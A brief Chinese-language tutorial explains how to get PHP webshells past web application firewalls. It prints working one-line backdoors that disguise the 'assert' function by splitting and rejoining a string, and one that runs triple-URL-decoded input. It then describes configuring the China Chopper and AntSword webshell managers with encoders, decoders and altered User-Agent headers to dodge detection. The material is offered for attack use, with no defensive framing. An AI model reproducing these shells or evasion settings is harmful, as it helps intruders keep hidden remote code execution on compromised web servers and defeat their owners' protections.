一.绕过方式
- 木马存在敏感字符被拦截
木马代码存在敏感字符,直接被waf。如:如直接传<?php @@eval($_POST['123']); ?>,由于存在eval危险函数直接被拦截。
这时候需要对被waf的危险字符进行各种变形即可
收集的过狗马,最大同性交友网站github也有很多webshell项目
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_POST['super'])
- Request请求体中存在敏感字符被拦截
最常见的就是对User-Agent和请求参数中进行检测。
如请求参数中存在敏感字符就会被拦,也会对特定标识的User-Agent头部进行拦截。如中国菜刀的User-Agent头部标识。
如对GET请求数据中的phpinfo()字符进行拦截
这时候我们需要对请求的参数进行编码,相对的在一句话代码中需要对传入的参数进行解密
如: 使用3次URL编码绕过
<?php
$poc ="axsxsxexrxt";
$poc_1 = explode("x", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];
$poc_2(urldecode(urldecode(urldecode($_REQUEST['12345']))));
?>
Phpinfo()进行三次url编码
二.原版菜刀的过waf配置
在Config.ini文件中对PHP_MAKE参数进行加密
如: 需要对传参进行三次URL编码
PHP_MAKE参数进行三次url加密和设置请求头即可
三.中国蚁剑AndSword过waf的配置
配置编码设置,这里我已PHP脚本作为例子
这里会有一个base64编码作为示范,只需要改动data[pwd]即可
三次URL编码,注意${randomID}不要做处理
在下方选中解密器,配置User-Agent